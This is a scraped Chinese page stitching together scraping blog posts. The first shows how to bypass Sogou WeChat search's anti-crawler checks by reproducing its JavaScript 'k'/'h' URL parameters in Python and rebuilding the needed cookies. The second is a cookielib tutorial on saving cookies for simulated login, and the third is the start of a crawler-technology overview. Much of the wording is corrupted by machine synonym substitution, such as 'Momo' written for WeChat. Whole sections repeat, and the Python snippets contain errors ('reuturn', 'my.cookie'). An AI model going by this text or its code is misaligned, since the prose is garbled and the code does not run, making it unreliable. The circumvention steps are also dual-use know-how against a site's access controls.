  按照經(jīng)驗,從一個(gè)url轉變成另一個(gè)url有兩種情況:跳轉和javascript字符串處理。經(jīng)過(guò)多次抓包剖析發(fā)覺(jué),搜索結果頁(yè)面點(diǎn)擊文章超鏈接到我們現今的目標url并沒(méi)有存在跳轉情況,抓包數據中的“列表頁(yè)面的文章url”和我們獲取的“列表頁(yè)面的文章url”可以判斷為同一個(gè)url,所以推測為javascript字符串處理。經(jīng)過(guò)一番搜救,發(fā)現搜索結果頁(yè)面的源碼中有一段十分可疑的代碼:
  <script>
(function(){$("a").on("mousedown click contextmenu",function(){var b=Math.floor(100*Math.random())+1,a=this.href.indexOf("url="),c=this.href.indexOf("&amp;k=");-1!==a&amp;&amp;-1===c&amp;&amp;(a=this.href.substr(a+4+parseInt("21")+b,1),this.href+="&amp;k="+b+"&amp;h="+a)})})();
</script>
  這其中最重要的代碼就是:this.href+="&amp;k="+b+"&amp;h="+a,這代碼就是在點(diǎn)擊風(fēng)波發(fā)生時(shí)給a標簽href屬性的內容添加"&amp;k="、"&amp;h=",正是用這段代碼對該url的參數進(jìn)行js加密和添加的。我們只須要把這段代碼用python實(shí)現就可以解決這個(gè)問(wèn)題了,下面是實(shí)現python實(shí)現代碼:
  def get_k_h(url): <br />  b = int(random.random() * 100) + 1
a = url.find("url=")
url = url + "&amp;k=" + str(b) + "&amp;h=" + url[a + 4 + 21 + b: a + 4 + 21 + b + 1]<br />  reuturn url
  3.2:獲取Cookie的參數
  觀(guān)察抓包數據可以發(fā)覺(jué),當我們一開(kāi)始訪(fǎng)問(wèn)時(shí)并沒(méi)有帶任何cookie,但經(jīng)過(guò)一系列懇求,到我們的目標懇求時(shí)侯,瀏覽器早已通過(guò)上面懇求的返回數據包的Set-Cookie屬性把Cookie構造下來(lái)了,而我們要做的就是在Cookie構造從無(wú)到有這個(gè)過(guò)程中找到所有ResponseHeaders中帶SetCookie屬性的并且參數是我們須要的參數的懇求,并模擬訪(fǎng)問(wèn)一遍,就能得到所有參數并建立出我們須要的Cookie了。
  
  例如搜狗微信搜索插口的懇求的ResponseHeaders就有5個(gè)Set-Cookie數組,其中ABTEST、SNUID、IPLOC、SUID都是我們最終構造Cookie所需的參數(和最后的Cookie值對比可以發(fā)覺(jué),這里的SUID值還不是我們最終須要的,要在前面的數據包中繼續開(kāi)掘)。
  經(jīng)過(guò)剖析搜狗微信文章采集,經(jīng)過(guò)四個(gè)懇求獲取到的ResponseHeaders后我們能夠正確建立Cookie了:
  1. 得到ABTEST、SNUID、IPLOC、SUID:<br />  https://weixin.sogou.com/weixi ... %3Bbr />2. 需要IPLOC、SNUID,得到SUID:<br />  https://www.sogou.com/sug/css/m3.min.v.7.css<br />3. 需要ABTEST、IPLOC、SNUID、SUID,得到JSESSIONID:<br />  https://weixin.sogou.com/webse ... %3Bbr />4. 需要IPLOC、SNUID、SUID,得到SUV<br />  https://pb.sogou.com/pv.gif<br />
  這四個(gè)懇求都能依照上面懇求獲取到的Cookie參數來(lái)構造自己須要的Cookie去正確訪(fǎng)問(wèn)。值得注意的是最后一個(gè)懇求,除了須要正確拼接Cookie外,還須要獲取正確的懇求參數能夠正常訪(fǎng)問(wèn):
  
  這種找參數的活可以借助瀏覽器的全局搜索功能,一番搜救后,就會(huì )發(fā)覺(jué)在搜索結果頁(yè)面的源代碼中早已返回了這兒所需的所有參數,用正則把那些參數解析下來(lái)即可:
  
  那么按照這種解析下來(lái)的參數和上面三個(gè)懇求得到的Cookie參數能夠正確訪(fǎng)問(wèn)第四個(gè)懇求并得到所需的所有Cookie參數啦!
  此時(shí),我們早已剖析出所有正確模擬懇求的流程了,梳理一下:
  獲取“k”、“h”參數,傳入搜索結果頁(yè)面得到的“列表頁(yè)面的文章ur”,調用get_k_h()即可。獲取所需Cookie參數,構造正確的Cookie,按照流程三給出的4個(gè)url,分別構造懇求獲取ResponseHeaders中的SetCookie即可。構造正確的懇求訪(fǎng)問(wèn)“列表頁(yè)面的文章url”。根據3中懇求返回的數據,拼接出“真實(shí)的文章url”,也就是流程二。請求“真實(shí)的文章url”,得到真正的文章頁(yè)面數據。
  至此,所有剖析結束,可以愉快的碼代碼啦!
  結語(yǔ):此次采集涉及到的反爬技術(shù)是Cookie構造和簡(jiǎn)答的js加密,難度不大,最重要的是耐心和悉心。此外提醒諸位看客大人遵守爬蟲(chóng)道德,不要對別人網(wǎng)站造成傷害,peace! 查看全部
  前言:一覺(jué)醒來(lái),發(fā)現原有的搜狗陌陌爬蟲(chóng)失效了,網(wǎng)上查找一翻發(fā)覺(jué)10月29日搜狗陌陌改版了,無(wú)法通過(guò)搜索公眾號名子獲取對應文章了,不過(guò)通過(guò)搜索主題獲取對應文章還是可以的,問(wèn)題不大,開(kāi)搞!
  目的:獲取搜狗陌陌中搜索主題返回的文章。
  涉及反爬機制:cookie設置,js加密。
  完整代碼已上傳本人github,僅供參考。如果對您有幫助,勞煩看客大人給個(gè)星星!
  進(jìn)入題外話(huà)。
  打開(kāi)搜狗陌陌,在搜索框輸入“咸蛋超人”,這里搜索下來(lái)的就是有關(guān)“咸蛋超人”主題的各個(gè)公眾號的文章列表:
  
  按照正常的采集流程,此時(shí)按F12打開(kāi)瀏覽器的開(kāi)發(fā)者工具,利用選擇工具點(diǎn)擊列表中文章標題,查看源碼中列表中文章url的所在位置,再用xpath獲取文章url的值,也就是這個(gè)href的值,為防止混亂,我們稱(chēng)之為“列表頁(yè)面的文章url”。
  
  可以見(jiàn)到“列表頁(yè)面的文章url”需要拼接,一般這些情況須要在瀏覽器中正常訪(fǎng)問(wèn)一下這篇文章,對比觀(guān)察跳轉后的url(我們稱(chēng)之為“真實(shí)的文章url”),再缺頭補頭缺腿補腿即可。下面是兩個(gè)url的對比:
  列表頁(yè)面的文章url:
/link?url=dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNFzn4G2S0Yt3MduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGSa3_pkMzadQg75Zhmxb9YI0psZvVepKtN4hpzQgtGa2iOlKKLwV_oxooGE6sxg1qinKxTb5VwJUcLBM1RgkzAPRtmyIGw2VAg..&amp;type=2&amp;query=%E5%92%B8%E8%9B%8B%E8%B6%85%E4%BA%BA&amp;k=92&amp;h=z
真實(shí)的文章url:
https://mp.weixin.qq.com/s?src=11&amp;timestamp=1573092595&amp;ver=1959&amp;signature=FjD709D-0vHSyVgQyXCS-TUAcnT0M9Gx6JljQEb6O55zpuyyDaTHqgkRCxNDtt5ZDifDRUUBOemzxcz71FMOmO88m6RWfR0r4fFBe0VefAsjFu0pl-M0frYOnXPF5JD8&amp;new=1
  這里很明顯兩個(gè)url的路徑不一致,應該是中間經(jīng)過(guò)了一些調轉,python的requests庫是帶手動(dòng)調轉功能,我們先把域名補上試一下訪(fǎng)問(wèn)
  
  明顯這兒做了反爬限制,那么這兒開(kāi)始,我們就須要抓包剖析了。這里用到的工具是Firefox瀏覽器的開(kāi)發(fā)者工具。抓包觀(guān)察的是從搜索結果頁(yè)面列表文章點(diǎn)擊跳轉到文章頁(yè)面的過(guò)程,這里點(diǎn)擊文章超鏈接會(huì )在新窗口打開(kāi),我們只須要在網(wǎng)頁(yè)源碼中把對應a標簽的target屬性改為空搜狗微信文章采集,就可以在一個(gè)窗口中觀(guān)察整個(gè)流程的數據包了。
  
  抓包剖析:
  
  
  通過(guò)抓包我們可以找到搜索結果頁(yè)面跳轉到文章頁(yè)面的過(guò)程,這里觀(guān)察發(fā)覺(jué),“列表頁(yè)面的文章url”返回的結果中就包含了“真實(shí)的文章url”的信息,這意味著(zhù)我們只須要正確訪(fǎng)問(wèn)到“列表頁(yè)面的文章url”,根據返回的數據能夠拼接出“真實(shí)的文章url”并訪(fǎng)問(wèn)了,這樣我們就實(shí)現從“列表頁(yè)面的文章url”到“真實(shí)的文章url”的跳轉了!
  此時(shí)我們的目標就從獲取“真實(shí)的文章url”轉變到正確的訪(fǎng)問(wèn)“列表頁(yè)面的文章url”了,繼續剖析抓包數據中的“列表頁(yè)面的文章url”信息:
  抓包數據:
  urlhttps://weixin.sogou.com/link% ... h%3DU
  method:GET
  請求參數:{"url":"dn9a_-gY295K0Rci_xozVXfdMkSQTLW6cwJThYulHEtVjXrGTiVgSwqn5HZrcjUNEnNekGBXt9LMduzuCU92ulqXa8Fplpd9CqUiLuEm9hLLvBiu5ziMS196rgHYb-GzQfleG917OgwN_VAAdAZHKryCeU9lIxtWTKnLsDcsuPIjLhLEK3tbGaBLLLEV3E0vo604DcwbvX2VNudQZNnBemevd34BJP94ZL5zUiA49LgzIjRlpGxccVxTTaLhHZKstaeqw41upSVAe0f8bRARvQ..","type":"2","query":"咸蛋超人","k":"60","h":"U"}
  headers
    Host: weixin.sogou.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Referer: https://weixin.sogou.com/weixi ... 40108
    Cookie: 見(jiàn)下
  Cookie:{"ABTEST":"4|1573094886|v1","IPLOC":"CN4401","JSESSIONID":"aaa3VBk4eXnIf8d4bdx4w","SNUID":"57A28ED20A0F9FB2BBE3E0180AF00D25","SUID":"5EAB87DB2613910A000000005DC385E6","SUV":"00F221C2DB87AB5E5DC385E7BC43F633"}
  這里的重點(diǎn)有三個(gè):
  請求參數:對比我們獲取的“列表頁(yè)面的文章url”分析可以發(fā)覺(jué),這里多了兩個(gè)參數“k”、“h”,這是須要我們設法獲取的。headers:經(jīng)過(guò)測試該網(wǎng)站對User-Agent敏感,一次訪(fǎng)問(wèn)前后User-Agent須要一致。Cookie:Cookie中參數須要獲取能夠正確訪(fǎng)問(wèn)該url。這些參數分別是:ABTEST、IPLOC、JSESSIONID、SNUID、SUID、SUV。
  3.1:獲取參數“k”、“h”
  按照經(jīng)驗,從一個(gè)url轉變成另一個(gè)url有兩種情況:跳轉和javascript字符串處理。經(jīng)過(guò)多次抓包剖析發(fā)覺(jué),搜索結果頁(yè)面點(diǎn)擊文章超鏈接到我們現今的目標url并沒(méi)有存在跳轉情況,抓包數據中的“列表頁(yè)面的文章url”和我們獲取的“列表頁(yè)面的文章url”可以判斷為同一個(gè)url,所以推測為javascript字符串處理。經(jīng)過(guò)一番搜救,發(fā)現搜索結果頁(yè)面的源碼中有一段十分可疑的代碼:
  <script>
(function(){$("a").on("mousedown click contextmenu",function(){var b=Math.floor(100*Math.random())+1,a=this.href.indexOf("url="),c=this.href.indexOf("&amp;k=");-1!==a&amp;&amp;-1===c&amp;&amp;(a=this.href.substr(a+4+parseInt("21")+b,1),this.href+="&amp;k="+b+"&amp;h="+a)})})();
</script>
  這其中最重要的代碼就是:this.href+="&amp;k="+b+"&amp;h="+a,這代碼就是在點(diǎn)擊風(fēng)波發(fā)生時(shí)給a標簽href屬性的內容添加"&amp;k="、"&amp;h=",正是用這段代碼對該url的參數進(jìn)行js加密和添加的。我們只須要把這段代碼用python實(shí)現就可以解決這個(gè)問(wèn)題了,下面是實(shí)現python實(shí)現代碼:
  def get_k_h(url): <br />  b = int(random.random() * 100) + 1
a = url.find("url=")
url = url + "&amp;k=" + str(b) + "&amp;h=" + url[a + 4 + 21 + b: a + 4 + 21 + b + 1]<br />  reuturn url
  3.2:獲取Cookie的參數
  觀(guān)察抓包數據可以發(fā)覺(jué),當我們一開(kāi)始訪(fǎng)問(wèn)時(shí)并沒(méi)有帶任何cookie,但經(jīng)過(guò)一系列懇求,到我們的目標懇求時(shí)侯,瀏覽器早已通過(guò)上面懇求的返回數據包的Set-Cookie屬性把Cookie構造下來(lái)了,而我們要做的就是在Cookie構造從無(wú)到有這個(gè)過(guò)程中找到所有ResponseHeaders中帶SetCookie屬性的并且參數是我們須要的參數的懇求,并模擬訪(fǎng)問(wèn)一遍,就能得到所有參數并建立出我們須要的Cookie了。
  
  例如搜狗微信搜索插口的懇求的ResponseHeaders就有5個(gè)Set-Cookie數組,其中ABTEST、SNUID、IPLOC、SUID都是我們最終構造Cookie所需的參數(和最后的Cookie值對比可以發(fā)覺(jué),這里的SUID值還不是我們最終須要的,要在前面的數據包中繼續開(kāi)掘)。
  經(jīng)過(guò)剖析搜狗微信文章采集,經(jīng)過(guò)四個(gè)懇求獲取到的ResponseHeaders后我們能夠正確建立Cookie了:
  1. 得到ABTEST、SNUID、IPLOC、SUID:<br />  https://weixin.sogou.com/weixi ... %3Bbr />2. 需要IPLOC、SNUID,得到SUID:<br />  https://www.sogou.com/sug/css/m3.min.v.7.css<br />3. 需要ABTEST、IPLOC、SNUID、SUID,得到JSESSIONID:<br />  https://weixin.sogou.com/webse ... %3Bbr />4. 需要IPLOC、SNUID、SUID,得到SUV<br />  https://pb.sogou.com/pv.gif<br />
  這四個(gè)懇求都能依照上面懇求獲取到的Cookie參數來(lái)構造自己須要的Cookie去正確訪(fǎng)問(wèn)。值得注意的是最后一個(gè)懇求,除了須要正確拼接Cookie外,還須要獲取正確的懇求參數能夠正常訪(fǎng)問(wèn):
  
  這種找參數的活可以借助瀏覽器的全局搜索功能,一番搜救后,就會(huì )發(fā)覺(jué)在搜索結果頁(yè)面的源代碼中早已返回了這兒所需的所有參數,用正則把那些參數解析下來(lái)即可:
  
  那么按照這種解析下來(lái)的參數和上面三個(gè)懇求得到的Cookie參數能夠正確訪(fǎng)問(wèn)第四個(gè)懇求并得到所需的所有Cookie參數啦!
  此時(shí),我們早已剖析出所有正確模擬懇求的流程了,梳理一下:
  獲取“k”、“h”參數,傳入搜索結果頁(yè)面得到的“列表頁(yè)面的文章ur”,調用get_k_h()即可。獲取所需Cookie參數,構造正確的Cookie,按照流程三給出的4個(gè)url,分別構造懇求獲取ResponseHeaders中的SetCookie即可。構造正確的懇求訪(fǎng)問(wèn)“列表頁(yè)面的文章url”。根據3中懇求返回的數據,拼接出“真實(shí)的文章url”,也就是流程二。請求“真實(shí)的文章url”,得到真正的文章頁(yè)面數據。
  至此,所有剖析結束,可以愉快的碼代碼啦!
  結語(yǔ):此次采集涉及到的反爬技術(shù)是Cookie構造和簡(jiǎn)答的js加密,難度不大,最重要的是耐心和悉心。此外提醒諸位看客大人遵守爬蟲(chóng)道德,不要對別人網(wǎng)站造成傷害,peace!

Python爬蟲(chóng)借助cookie實(shí)現模擬登錄實(shí)例解讀

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 466 次瀏覽 ? 2020-07-05 08:00 ? 來(lái)自相關(guān)話(huà)題

  Cookie,指個(gè)別網(wǎng)站為了分辨用戶(hù)身分、進(jìn)行session跟蹤而存儲在用戶(hù)本地終端上的數據(通常經(jīng)過(guò)加密)。
  舉個(gè)事例,某些網(wǎng)站是須要登陸后就能得到你想要的信息的,不登錄只能是旅客模式,那么我們可以借助Urllib2庫保存我們曾經(jīng)登陸過(guò)的Cookie,之后載入cookie獲取我們想要的頁(yè)面,然后再進(jìn)行抓取。理解cookie主要是為我們快捷模擬登陸抓取目標網(wǎng)頁(yè)作出打算。
  我之前的貼子中使用過(guò)urlopen()這個(gè)函數來(lái)打開(kāi)網(wǎng)頁(yè)進(jìn)行抓取,這僅僅只是一個(gè)簡(jiǎn)單的Python網(wǎng)頁(yè)打開(kāi)器,其參數也僅有urlopen(url,data,timeout),這三個(gè)參數對于我們獲取目標網(wǎng)頁(yè)的cookie是遠遠不夠的。這時(shí)候我們就要借助到另外一種Opener——CookieJar。
  cookielib也是Python進(jìn)行爬蟲(chóng)的一個(gè)重要模塊python爬蟲(chóng)模擬登錄python爬蟲(chóng)模擬登錄,他能與urllib2互相結合一起爬取想要的內容。該模塊的CookieJar類(lèi)的對象可以捕獲cookie并在后續聯(lián)接懇求時(shí)重新發(fā)送,這樣就可以實(shí)現我們所須要的模擬登陸功能。
  這里非常說(shuō)明一下,cookielib是在py2.7中自帶的模塊,無(wú)需重新安裝,想要查看其自帶模塊可以查看Python目錄下的Lib文件夾,里面有所有安裝的模塊。我一開(kāi)始沒(méi)想起來(lái),在pycharm中居然沒(méi)有搜到cookielib,使用了快捷安裝也報錯:Couldn't find index page for 'Cookielib' (maybe misspelled?)
  
  之后才想起來(lái)是不是自帶的就有,沒(méi)想到去lib文件夾一看還真有,白白浪費半個(gè)小時(shí)各類(lèi)瞎折騰~~
  下面我們就來(lái)介紹一下這個(gè)模塊,該模塊主要的對象有CookieJar、FileCookieJar、MozillaCookieJar、LWPCookieJar。
  它們的關(guān)系:CookieJar —-派生—-&gt;FileCookieJar —-派生—–&gt;MozillaCookieJar和LWPCookieJar 主要用法,我們下邊也會(huì )提到。urllib2.urlopen()函數不支持驗證、cookie或則其它HTTP中級功能。要支持這種功能,必須使用build_opener()(可以用于使python程序模擬瀏覽器進(jìn)行訪(fǎng)問(wèn),作用你懂得~)函數創(chuàng )建自定義Opener對象。
  1、首先我們就來(lái)獲取一下網(wǎng)站的cookie
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.CookieJar() #聲明一個(gè)CookieJar的類(lèi)對象保存cookie(注意CookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com") #opener返回的一個(gè)應答對象response
for item in my.cookie:
print"name="+item.name
print"value="+item.value
  結果:
  
name=BAIDUID
value=73BD718962A6EA0DAD4CB9578A08FDD0:FG=1
name=BIDUPSID
value=73BD718962A6EA0DAD4CB9578A08FDD0
name=H_PS_PSSID
value=1450_19035_21122_17001_21454_21409_21394_21377_21526_21189_21398
name=PSTM
value=1478834132
name=BDSVRTM
value=0
name=BD_HOME
value=0
  這樣我們就得到了一個(gè)最簡(jiǎn)單的cookie。
  2、將cookie保存到文件
  上面我們得到了cookie,下面我們學(xué)習怎么保存cookie。在這里我們使用它的泛型MozillaCookieJar來(lái)實(shí)現Cookie的保存
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.MozillaCookieJar() #聲明一個(gè)MozillaCookieJar的類(lèi)對象保存cookie(注意MozillaCookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com") #opener返回的一個(gè)應答對象response
for item in mycookie:
print"name="+item.name
print"value="+item.value
filename='mycookie.txt'#設定保存的文件名
mycookie.save(filename,ignore_discard=True, ignore_expires=True)
  將里面的事例簡(jiǎn)單變型就可以得到本例,使用了CookieJar的泛型MozillaCookiJar,為什么呢?我們將MozillaCookiJar換成CookieJar試試,下面一張圖你能夠明白:
  
  CookieJar是沒(méi)有保存save屬性的~
  save()這個(gè)方式中:ignore_discard的意思是雖然cookies將被遺棄也將它保存出來(lái),ignore_expires的意思是假如在該文件中cookies早已存在,則覆蓋原文件寫(xiě)入,在這里,我們將這兩個(gè)全部設置為T(mén)rue。運行以后,cookies將被保存到cookie.txt文件中,我們查看一下內容:
  
  這樣我們就成功保存了我們想要的cookie
  3、從文件中獲取cookie并訪(fǎng)問(wèn) 查看全部

  Cookie,指個(gè)別網(wǎng)站為了分辨用戶(hù)身分、進(jìn)行session跟蹤而存儲在用戶(hù)本地終端上的數據(通常經(jīng)過(guò)加密)。
  舉個(gè)事例,某些網(wǎng)站是須要登陸后就能得到你想要的信息的,不登錄只能是旅客模式,那么我們可以借助Urllib2庫保存我們曾經(jīng)登陸過(guò)的Cookie,之后載入cookie獲取我們想要的頁(yè)面,然后再進(jìn)行抓取。理解cookie主要是為我們快捷模擬登陸抓取目標網(wǎng)頁(yè)作出打算。
  我之前的貼子中使用過(guò)urlopen()這個(gè)函數來(lái)打開(kāi)網(wǎng)頁(yè)進(jìn)行抓取,這僅僅只是一個(gè)簡(jiǎn)單的Python網(wǎng)頁(yè)打開(kāi)器,其參數也僅有urlopen(url,data,timeout),這三個(gè)參數對于我們獲取目標網(wǎng)頁(yè)的cookie是遠遠不夠的。這時(shí)候我們就要借助到另外一種Opener——CookieJar。
  cookielib也是Python進(jìn)行爬蟲(chóng)的一個(gè)重要模塊python爬蟲(chóng)模擬登錄python爬蟲(chóng)模擬登錄,他能與urllib2互相結合一起爬取想要的內容。該模塊的CookieJar類(lèi)的對象可以捕獲cookie并在后續聯(lián)接懇求時(shí)重新發(fā)送,這樣就可以實(shí)現我們所須要的模擬登陸功能。
  這里非常說(shuō)明一下,cookielib是在py2.7中自帶的模塊,無(wú)需重新安裝,想要查看其自帶模塊可以查看Python目錄下的Lib文件夾,里面有所有安裝的模塊。我一開(kāi)始沒(méi)想起來(lái),在pycharm中居然沒(méi)有搜到cookielib,使用了快捷安裝也報錯:Couldn't find index page for 'Cookielib' (maybe misspelled?)
  
  之后才想起來(lái)是不是自帶的就有,沒(méi)想到去lib文件夾一看還真有,白白浪費半個(gè)小時(shí)各類(lèi)瞎折騰~~
  下面我們就來(lái)介紹一下這個(gè)模塊,該模塊主要的對象有CookieJar、FileCookieJar、MozillaCookieJar、LWPCookieJar。
  它們的關(guān)系:CookieJar —-派生—-&gt;FileCookieJar —-派生—–&gt;MozillaCookieJar和LWPCookieJar 主要用法,我們下邊也會(huì )提到。urllib2.urlopen()函數不支持驗證、cookie或則其它HTTP中級功能。要支持這種功能,必須使用build_opener()(可以用于使python程序模擬瀏覽器進(jìn)行訪(fǎng)問(wèn),作用你懂得~)函數創(chuàng )建自定義Opener對象。
  1、首先我們就來(lái)獲取一下網(wǎng)站的cookie
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.CookieJar() #聲明一個(gè)CookieJar的類(lèi)對象保存cookie(注意CookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com";) #opener返回的一個(gè)應答對象response
for item in my.cookie:
print"name="+item.name
print"value="+item.value
  結果:
  
name=BAIDUID
value=73BD718962A6EA0DAD4CB9578A08FDD0:FG=1
name=BIDUPSID
value=73BD718962A6EA0DAD4CB9578A08FDD0
name=H_PS_PSSID
value=1450_19035_21122_17001_21454_21409_21394_21377_21526_21189_21398
name=PSTM
value=1478834132
name=BDSVRTM
value=0
name=BD_HOME
value=0
  這樣我們就得到了一個(gè)最簡(jiǎn)單的cookie。
  2、將cookie保存到文件
  上面我們得到了cookie,下面我們學(xué)習怎么保存cookie。在這里我們使用它的泛型MozillaCookieJar來(lái)實(shí)現Cookie的保存
  例子:
  
#coding=utf-8
import cookielib
import urllib2

mycookie = cookielib.MozillaCookieJar() #聲明一個(gè)MozillaCookieJar的類(lèi)對象保存cookie(注意MozillaCookieJar的大小寫(xiě)問(wèn)題)
handler = urllib2.HTTPCookieProcessor(mycookie) #利用urllib2庫中的HTTPCookieProcessor來(lái)聲明一個(gè)處理cookie的處理器
opener = urllib2.build_opener(handler) #利用handler來(lái)構造opener,opener的用法和urlopen()類(lèi)似
response = opener.open("http://www.baidu.com";) #opener返回的一個(gè)應答對象response
for item in mycookie:
print"name="+item.name
print"value="+item.value
filename='mycookie.txt'#設定保存的文件名
mycookie.save(filename,ignore_discard=True, ignore_expires=True)
  將里面的事例簡(jiǎn)單變型就可以得到本例,使用了CookieJar的泛型MozillaCookiJar,為什么呢?我們將MozillaCookiJar換成CookieJar試試,下面一張圖你能夠明白:
  
  CookieJar是沒(méi)有保存save屬性的~
  save()這個(gè)方式中:ignore_discard的意思是雖然cookies將被遺棄也將它保存出來(lái),ignore_expires的意思是假如在該文件中cookies早已存在,則覆蓋原文件寫(xiě)入,在這里,我們將這兩個(gè)全部設置為T(mén)rue。運行以后,cookies將被保存到cookie.txt文件中,我們查看一下內容:
  
  這樣我們就成功保存了我們想要的cookie
  3、從文件中獲取cookie并訪(fǎng)問(wèn)

一篇文章了解爬蟲(chóng)技術(shù)現況 豈安高調分享-

采集交流 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 344 次瀏覽 ? 2020-07-04 08:01 ? 來(lái)自相關(guān)話(huà)題

  
  那是因為,其實(shí)是因為執行js代碼動(dòng)態(tài)添加到標簽上面的,所以這個(gè)時(shí)侯內容在js代碼上面的,而js的執行是在瀏覽器端的操作,所以用程序去懇求網(wǎng)頁(yè)地址的時(shí)侯,得到的response是網(wǎng)頁(yè)代碼和js的代碼,所以自己在瀏覽器端能看到內容,解析時(shí)因為js未執行,肯定找到指定HTML標簽下內容肯定為空,如百度的主頁(yè)就是這些,這個(gè)時(shí)侯的處理辦法,一般來(lái)講主要是要找到包含內容的js代碼串,然后通過(guò)正則表達式獲得相應的內容,而不是解析HTML標簽。B另一種情況是在和用戶(hù)交互時(shí),JavaScript可能會(huì )動(dòng)態(tài)生成一些dom,如點(diǎn)擊某個(gè)按鍵彈了一個(gè)對話(huà)框等;對于這些情況,一般這種內容都是一些用戶(hù)提示相關(guān)的內容,沒(méi)哪些價(jià)值,如果確實(shí)須要,可以剖析一下js執行邏輯,但這樣的情況極少。Ajax/Fetch異步懇求
  這種情況是現今太常見(jiàn)的,尤其是在內容以分頁(yè)方式顯示在網(wǎng)頁(yè)上,并且頁(yè)面無(wú)刷新,或者是對網(wǎng)頁(yè)進(jìn)行某個(gè)交互操作后,得到內容。對于這些頁(yè)面,分析的時(shí)侯我們要跟蹤所有的懇求,觀(guān)察數據究竟是在哪一步加載進(jìn)來(lái)的。然后當我們找到核心的異步懇求的時(shí)侯,就只需抓取這個(gè)異步懇求就可以了,如果原始網(wǎng)頁(yè)沒(méi)有任何有用信息,也沒(méi)必要去抓取原始網(wǎng)頁(yè)了。 爬蟲(chóng)技術(shù)的現況 01語(yǔ)言
  理論上來(lái)說(shuō),任何支持網(wǎng)路通訊的語(yǔ)言都是可以寫(xiě)爬蟲(chóng)的,爬蟲(chóng)本身其實(shí)語(yǔ)言關(guān)系不大,但是,總有相對順手、簡(jiǎn)單的。目前來(lái)說(shuō),大多數爬蟲(chóng)是用后臺腳本類(lèi)語(yǔ)言寫(xiě)的,其中python無(wú)疑是用的最多最廣的,并且頁(yè)誕生了好多優(yōu)秀的庫和框架,如scrapy、BeautifulSoup 、pyquery、Mechanize等。但是一般來(lái)說(shuō),搜索引擎的爬蟲(chóng)對爬蟲(chóng)的效率要求更高,會(huì )選用c++、java、go(適合高并發(fā)),詳情排名前50的開(kāi)源Web爬蟲(chóng)用于數據挖掘。我在學(xué)院時(shí)代就用c++實(shí)現了一個(gè)多線(xiàn)程的框架,但是發(fā)覺(jué)和python實(shí)現的爬蟲(chóng)效率提高并不顯著(zhù)nsf爬蟲(chóng)軟件,原因是,對于簡(jiǎn)單爬蟲(chóng)nsf爬蟲(chóng)軟件,瓶頸在于數據剖析及提取,而網(wǎng)路效率和語(yǔ)言關(guān)系并不大。值得一提的是,在近幾年node發(fā)展特別快, 使得javascript遍地開(kāi)花,有些人也開(kāi)始嘗試用node做爬蟲(chóng),但是,這也許和其它后臺腳本語(yǔ)言沒(méi)哪些區別,也不如python簡(jiǎn)單, 因為你仍然不能在node里發(fā)起ajax懇求,不能執行原網(wǎng)頁(yè)的dom。因為node的javascript執行環(huán)境和瀏覽器的執行環(huán)境并不相同。那么,難道就真的不能象在瀏覽器中一樣用js寫(xiě)爬蟲(chóng),用jquery提取內容嗎?想法太大膽,我們姑且擱置。 02運行環(huán)境
  爬蟲(chóng)本身不分辨究竟是運行在windows還是Linux,又或是OSX,但從業(yè)務(wù)角度講,我們把運行在服務(wù)端(后臺)的,稱(chēng)之為后臺爬蟲(chóng)。而如今,幾乎所有的爬蟲(chóng)都是后臺爬蟲(chóng)。后
  臺爬蟲(chóng)的三大問(wèn)題
  后臺爬蟲(chóng)在大行其道的時(shí)侯,也有著(zhù)些許棘手的、到目前也沒(méi)有哪些好的解決方案問(wèn)題,而歸根結底,這些問(wèn)題的根本緣由是因為后臺爬蟲(chóng)的先天不足造成,在即將討論之前,我們先思索一個(gè)問(wèn)題,“爬蟲(chóng)和瀏覽器有哪些優(yōu)缺?” 01相同點(diǎn)
  本質(zhì)上都是通過(guò)http/https合同懇求互聯(lián)網(wǎng)數據 02不同點(diǎn)
  爬蟲(chóng)通常為自動(dòng)化程序,無(wú)需用用戶(hù)交互,而瀏覽器不是;運行場(chǎng)景不同;瀏覽器運行在客戶(hù)端,而爬蟲(chóng)通常都跑在服務(wù)端;能力不同;瀏覽器包含渲染引擎、javascript虛擬機,而爬蟲(chóng)通常都不具備這三者。了解了這種,我們再來(lái)瞧瞧后臺面臨的問(wèn)題:01問(wèn)題一:交互問(wèn)題
